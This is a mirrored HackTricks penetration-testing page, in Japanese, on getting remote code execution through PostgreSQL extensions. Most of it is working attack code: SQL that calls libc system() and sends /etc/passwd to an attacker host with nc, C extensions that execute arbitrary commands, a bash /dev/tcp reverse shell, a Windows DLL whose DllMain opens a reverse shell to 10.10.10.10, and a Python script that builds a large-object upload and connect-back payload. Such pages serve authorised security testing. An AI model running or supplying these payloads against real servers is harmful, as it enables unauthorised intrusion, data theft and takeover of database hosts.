mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
332 lines
15 KiB
Markdown
332 lines
15 KiB
Markdown
# RCE with PostgreSQL Extensions
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## PostgreSQL Extensions
|
||
|
||
PostgreSQLは、拡張性をコア機能として開発されており、拡張機能を組み込み機能のようにシームレスに統合することができます。これらの拡張機能は、基本的にCで書かれたライブラリであり、データベースに追加の関数、演算子、または型を豊かにします。
|
||
|
||
バージョン8.1以降、拡張ライブラリには特定の要件が課せられています:特別なヘッダーでコンパイルされなければなりません。これがないと、PostgreSQLはそれらを実行せず、互換性があり、潜在的に安全な拡張機能のみが使用されることを保証します。
|
||
|
||
また、**もしあなたが** [**PostgreSQLを悪用して被害者にファイルをアップロードする方法を知らない場合は、この投稿を読むべきです。**](big-binary-files-upload-postgresql.md)
|
||
|
||
### RCE in Linux
|
||
|
||
**詳細については、次を確認してください: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
|
||
|
||
PostgreSQL 8.1およびそれ以前のバージョンからのシステムコマンドの実行は、明確に文書化されており、簡単なプロセスです。これを使用することが可能です: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
|
||
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
|
||
|
||
# You can also create functions to open and write files
|
||
CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.6', 'open' LANGUAGE 'C' STRICT;
|
||
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
|
||
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
|
||
```
|
||
<details>
|
||
|
||
<summary>Base64からバイナリファイルを書く</summary>
|
||
|
||
Postgresでバイナリをファイルに書き込むには、base64を使用する必要があるかもしれません。これがそのために役立ちます:
|
||
```sql
|
||
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
|
||
$$
|
||
DECLARE
|
||
fh int;
|
||
s int;
|
||
w bytea;
|
||
i int;
|
||
BEGIN
|
||
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
|
||
|
||
IF fh <= 2 THEN
|
||
RETURN 1;
|
||
END IF;
|
||
|
||
SELECT decode(s, 'base64') INTO w;
|
||
|
||
i := 0;
|
||
LOOP
|
||
EXIT WHEN i >= octet_length(w);
|
||
|
||
SELECT write(fh,textout(chr(get_byte(w, i)))::cstring, 1) INTO rs;
|
||
|
||
IF rs < 0 THEN
|
||
RETURN 2;
|
||
END IF;
|
||
|
||
i := i + 1;
|
||
END LOOP;
|
||
|
||
SELECT close(fh) INTO rs;
|
||
|
||
RETURN 0;
|
||
|
||
END;
|
||
$$ LANGUAGE 'plpgsql';
|
||
```
|
||
</details>
|
||
|
||
しかし、より新しいバージョンで試みたところ、**次のエラーが表示されました**:
|
||
```c
|
||
ERROR: incompatible library “/lib/x86_64-linux-gnu/libc.so.6”: missing magic block
|
||
HINT: Extension libraries are required to use the PG_MODULE_MAGIC macro.
|
||
```
|
||
このエラーは[PostgreSQLのドキュメント](https://www.postgresql.org/docs/current/static/xfunc-c.html)で説明されています:
|
||
|
||
> 動的にロードされたオブジェクトファイルが互換性のないサーバーにロードされないように、PostgreSQLはファイルが適切な内容を持つ「マジックブロック」を含んでいるかどうかをチェックします。これにより、サーバーは異なるメジャーバージョンのPostgreSQL用にコンパイルされたコードなど、明らかな互換性の問題を検出できます。マジックブロックはPostgreSQL 8.2以降が必要です。マジックブロックを含めるには、ヘッダーfmgr.hをインクルードした後、モジュールソースファイルの1つ(そして1つだけ)に次のように記述します:
|
||
>
|
||
> `#ifdef PG_MODULE_MAGIC`\
|
||
> `PG_MODULE_MAGIC;`\
|
||
> `#endif`
|
||
|
||
PostgreSQLバージョン8.2以降、攻撃者がシステムを悪用するプロセスはより困難になりました。攻撃者は、システム上に既に存在するライブラリを利用するか、カスタムライブラリをアップロードする必要があります。このカスタムライブラリは、互換性のあるメジャーバージョンのPostgreSQLに対してコンパイルされ、特定の「マジックブロック」を含む必要があります。この対策により、PostgreSQLシステムを悪用する難易度が大幅に上がり、システムのアーキテクチャやバージョンの互換性についてのより深い理解が必要になります。
|
||
|
||
#### ライブラリをコンパイルする
|
||
|
||
次のコマンドでPostgreSQLのバージョンを取得します:
|
||
```sql
|
||
SELECT version();
|
||
PostgreSQL 9.6.3 on x86_64-pc-linux-gnu, compiled by gcc (Debian 6.3.0-18) 6.3.0 20170516, 64-bit
|
||
```
|
||
互換性のために、主要なバージョンが一致することが重要です。したがって、9.6.xシリーズ内の任意のバージョンでライブラリをコンパイルすることで、成功した統合が保証されるはずです。
|
||
|
||
そのバージョンをシステムにインストールするには:
|
||
```bash
|
||
apt install postgresql postgresql-server-dev-9.6
|
||
```
|
||
ライブラリをコンパイルします:
|
||
```c
|
||
//gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
|
||
#include <string.h>
|
||
#include "postgres.h"
|
||
#include "fmgr.h"
|
||
|
||
#ifdef PG_MODULE_MAGIC
|
||
PG_MODULE_MAGIC;
|
||
#endif
|
||
|
||
PG_FUNCTION_INFO_V1(pg_exec);
|
||
Datum pg_exec(PG_FUNCTION_ARGS) {
|
||
char* command = PG_GETARG_CSTRING(0);
|
||
PG_RETURN_INT32(system(command));
|
||
}
|
||
```
|
||
次に、コンパイルされたライブラリをアップロードし、コマンドを実行します:
|
||
```bash
|
||
CREATE FUNCTION sys(cstring) RETURNS int AS '/tmp/pg_exec.so', 'pg_exec' LANGUAGE C STRICT;
|
||
SELECT sys('bash -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1"');
|
||
#Notice the double single quotes are needed to scape the qoutes
|
||
```
|
||
この**ライブラリは事前コンパイル済み**で、いくつかの異なるPostgreSQLバージョンに対応しており、さらに**このプロセスを自動化することもできます**(PostgreSQLアクセスがある場合):
|
||
|
||
{{#ref}}
|
||
https://github.com/Dionach/pgexec
|
||
{{#endref}}
|
||
|
||
### WindowsでのRCE
|
||
|
||
以下のDLLは、**バイナリの名前**と**実行したい回数**を入力として受け取り、それを実行します:
|
||
```c
|
||
#include "postgres.h"
|
||
#include <string.h>
|
||
#include "fmgr.h"
|
||
#include "utils/geo_decls.h"
|
||
#include <stdio.h>
|
||
#include "utils/builtins.h"
|
||
|
||
#ifdef PG_MODULE_MAGIC
|
||
PG_MODULE_MAGIC;
|
||
#endif
|
||
|
||
/* Add a prototype marked PGDLLEXPORT */
|
||
PGDLLEXPORT Datum pgsql_exec(PG_FUNCTION_ARGS);
|
||
PG_FUNCTION_INFO_V1(pgsql_exec);
|
||
|
||
/* this function launches the executable passed in as the first parameter
|
||
in a FOR loop bound by the second parameter that is also passed*/
|
||
Datum
|
||
pgsql_exec(PG_FUNCTION_ARGS)
|
||
{
|
||
/* convert text pointer to C string */
|
||
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
|
||
|
||
/* retrieve the second argument that is passed to the function (an integer)
|
||
that will serve as our counter limit*/
|
||
|
||
int instances = PG_GETARG_INT32(1);
|
||
|
||
for (int c = 0; c < instances; c++) {
|
||
/*launch the process passed in the first parameter*/
|
||
ShellExecute(NULL, "open", GET_STR(PG_GETARG_TEXT_P(0)), NULL, NULL, 1);
|
||
}
|
||
PG_RETURN_VOID();
|
||
}
|
||
```
|
||
このZIPファイルにコンパイルされたDLLがあります:
|
||
|
||
{{#file}}
|
||
pgsql_exec.zip
|
||
{{#endfile}}
|
||
|
||
このDLLに**実行するバイナリ**と実行回数を指定できます。この例では、`calc.exe`を2回実行します:
|
||
```bash
|
||
CREATE OR REPLACE FUNCTION remote_exec(text, integer) RETURNS void AS '\\10.10.10.10\shared\pgsql_exec.dll', 'pgsql_exec' LANGUAGE C STRICT;
|
||
SELECT remote_exec('calc.exe', 2);
|
||
DROP FUNCTION remote_exec(text, integer);
|
||
```
|
||
[**ここ** ](https://zerosum0x0.blogspot.com/2016/06/windows-dll-to-shell-postgres-servers.html)でこのリバースシェルを見つけることができます:
|
||
```c
|
||
#define PG_REVSHELL_CALLHOME_SERVER "10.10.10.10"
|
||
#define PG_REVSHELL_CALLHOME_PORT "4444"
|
||
|
||
#include "postgres.h"
|
||
#include <string.h>
|
||
#include "fmgr.h"
|
||
#include "utils/geo_decls.h"
|
||
#include <winsock2.h>
|
||
|
||
#pragma comment(lib,"ws2_32")
|
||
|
||
#ifdef PG_MODULE_MAGIC
|
||
PG_MODULE_MAGIC;
|
||
#endif
|
||
|
||
#pragma warning(push)
|
||
#pragma warning(disable: 4996)
|
||
#define _WINSOCK_DEPRECATED_NO_WARNINGS
|
||
|
||
BOOL WINAPI DllMain(_In_ HINSTANCE hinstDLL,
|
||
_In_ DWORD fdwReason,
|
||
_In_ LPVOID lpvReserved)
|
||
{
|
||
WSADATA wsaData;
|
||
SOCKET wsock;
|
||
struct sockaddr_in server;
|
||
char ip_addr[16];
|
||
STARTUPINFOA startupinfo;
|
||
PROCESS_INFORMATION processinfo;
|
||
|
||
char *program = "cmd.exe";
|
||
const char *ip = PG_REVSHELL_CALLHOME_SERVER;
|
||
u_short port = atoi(PG_REVSHELL_CALLHOME_PORT);
|
||
|
||
WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||
wsock = WSASocket(AF_INET, SOCK_STREAM,
|
||
IPPROTO_TCP, NULL, 0, 0);
|
||
|
||
struct hostent *host;
|
||
host = gethostbyname(ip);
|
||
strcpy_s(ip_addr, sizeof(ip_addr),
|
||
inet_ntoa(*((struct in_addr *)host->h_addr)));
|
||
|
||
server.sin_family = AF_INET;
|
||
server.sin_port = htons(port);
|
||
server.sin_addr.s_addr = inet_addr(ip_addr);
|
||
|
||
WSAConnect(wsock, (SOCKADDR*)&server, sizeof(server),
|
||
NULL, NULL, NULL, NULL);
|
||
|
||
memset(&startupinfo, 0, sizeof(startupinfo));
|
||
startupinfo.cb = sizeof(startupinfo);
|
||
startupinfo.dwFlags = STARTF_USESTDHANDLES;
|
||
startupinfo.hStdInput = startupinfo.hStdOutput =
|
||
startupinfo.hStdError = (HANDLE)wsock;
|
||
|
||
CreateProcessA(NULL, program, NULL, NULL, TRUE, 0,
|
||
NULL, NULL, &startupinfo, &processinfo);
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
#pragma warning(pop) /* re-enable 4996 */
|
||
|
||
/* Add a prototype marked PGDLLEXPORT */
|
||
PGDLLEXPORT Datum dummy_function(PG_FUNCTION_ARGS);
|
||
|
||
PG_FUNCTION_INFO_V1(add_one);
|
||
|
||
Datum dummy_function(PG_FUNCTION_ARGS)
|
||
{
|
||
int32 arg = PG_GETARG_INT32(0);
|
||
|
||
PG_RETURN_INT32(arg + 1);
|
||
}
|
||
```
|
||
この場合、**悪意のあるコードは DllMain 関数内にあります**。これは、この場合、postgresql で読み込まれた関数を実行する必要がなく、単に **DLL を読み込む** だけで **リバースシェルが実行される** ことを意味します。
|
||
```c
|
||
CREATE OR REPLACE FUNCTION dummy_function(int) RETURNS int AS '\\10.10.10.10\shared\dummy_function.dll', 'dummy_function' LANGUAGE C STRICT;
|
||
```
|
||
[PolyUDFプロジェクト](https://github.com/rop-la/PolyUDF)は、完全なMS Visual Studioプロジェクトと、マルチバージョンサポートを含む使用可能なライブラリ(_command eval_、_exec_、_cleanup_を含む)を提供する良い出発点です。
|
||
|
||
### 最新のPostgreSQLバージョンにおけるRCE
|
||
|
||
**最新のバージョン**のPostgreSQLでは、`superuser`が特定のディレクトリ(Windowsでは`C:\Program Files\PostgreSQL\11\lib`、\*nixシステムでは`/var/lib/postgresql/11/lib`など)以外から共有ライブラリファイルを**ロードすることが禁止**されています。これらのディレクトリは、NETWORK_SERVICEまたはpostgresアカウントによる書き込み操作から**保護**されています。
|
||
|
||
これらの制限にもかかわらず、認証されたデータベースの`superuser`は「大きなオブジェクト」を使用してファイルシステムに**バイナリファイルを書き込む**ことが可能です。この機能は、テーブルの更新や作成などのデータベース操作に不可欠な`C:\Program Files\PostgreSQL\11\data`ディレクトリ内での書き込みにも及びます。
|
||
|
||
重大な脆弱性は、`CREATE FUNCTION`コマンドから生じます。このコマンドはデータディレクトリへの**ディレクトリトラバーサルを許可**します。その結果、認証された攻撃者はこのトラバーサルを**悪用して**データディレクトリに共有ライブラリファイルを書き込み、次にそれを**ロード**することができます。このエクスプロイトにより、攻撃者は任意のコードを実行し、システム上でネイティブコードの実行を達成します。
|
||
|
||
#### 攻撃フロー
|
||
|
||
まず、**大きなオブジェクトを使用してdllをアップロードする必要があります**。その方法はここで確認できます:
|
||
|
||
{{#ref}}
|
||
big-binary-files-upload-postgresql.md
|
||
{{#endref}}
|
||
|
||
拡張機能(この例ではpoc.dllという名前)をデータディレクトリにアップロードしたら、次のようにしてそれをロードできます:
|
||
```c
|
||
create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;
|
||
select connect_back('192.168.100.54', 1234);
|
||
```
|
||
_注意:create関数が拡張子`.dll`を追加するため、付加する必要はありません。_
|
||
|
||
詳細については、**[こちらの元の出版物を読んでください](https://srcin.io/blog/2020/06/26/sql-injection-double-uppercut-how-to-achieve-remote-code-execution-against-postgresql.html)**。\
|
||
その出版物では、**これがpostgres拡張を生成するために使用された**[**コードです**](https://github.com/sourcein/tools/blob/master/pgpwn.c)(_postgres拡張をコンパイルする方法を学ぶには、以前のバージョンのいずれかを読んでください_)。\
|
||
同じページには、この技術を自動化するための**エクスプロイトが提供されました**:
|
||
```python
|
||
#!/usr/bin/env python3
|
||
import sys
|
||
|
||
if len(sys.argv) != 4:
|
||
print("(+) usage %s <connectback> <port> <dll/so>" % sys.argv[0])
|
||
print("(+) eg: %s 192.168.100.54 1234 si-x64-12.dll" % sys.argv[0])
|
||
sys.exit(1)
|
||
|
||
host = sys.argv[1]
|
||
port = int(sys.argv[2])
|
||
lib = sys.argv[3]
|
||
with open(lib, "rb") as dll:
|
||
d = dll.read()
|
||
sql = "select lo_import('C:/Windows/win.ini', 1337);"
|
||
for i in range(0, len(d)//2048):
|
||
start = i * 2048
|
||
end = (i+1) * 2048
|
||
if i == 0:
|
||
sql += "update pg_largeobject set pageno=%d, data=decode('%s', 'hex') where loid=1337;" % (i, d[start:end].hex())
|
||
else:
|
||
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % (i, d[start:end].hex())
|
||
if (len(d) % 2048) != 0:
|
||
end = (i+1) * 2048
|
||
sql += "insert into pg_largeobject(loid, pageno, data) values (1337, %d, decode('%s', 'hex'));" % ((i+1), d[end:].hex())
|
||
|
||
sql += "select lo_export(1337, 'poc.dll');"
|
||
sql += "create function connect_back(text, integer) returns void as '../data/poc', 'connect_back' language C strict;"
|
||
sql += "select connect_back('%s', %d);" % (host, port)
|
||
print("(+) building poc.sql file")
|
||
with open("poc.sql", "w") as sqlfile:
|
||
sqlfile.write(sql)
|
||
print("(+) run poc.sql in PostgreSQL using the superuser")
|
||
print("(+) for a db cleanup only, run the following sql:")
|
||
print(" select lo_unlink(l.oid) from pg_largeobject_metadata l;")
|
||
print(" drop function connect_back(text, integer);")
|
||
```
|
||
## 参考文献
|
||
|
||
- [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)
|
||
- [https://www.exploit-db.com/papers/13084](https://www.exploit-db.com/papers/13084)
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|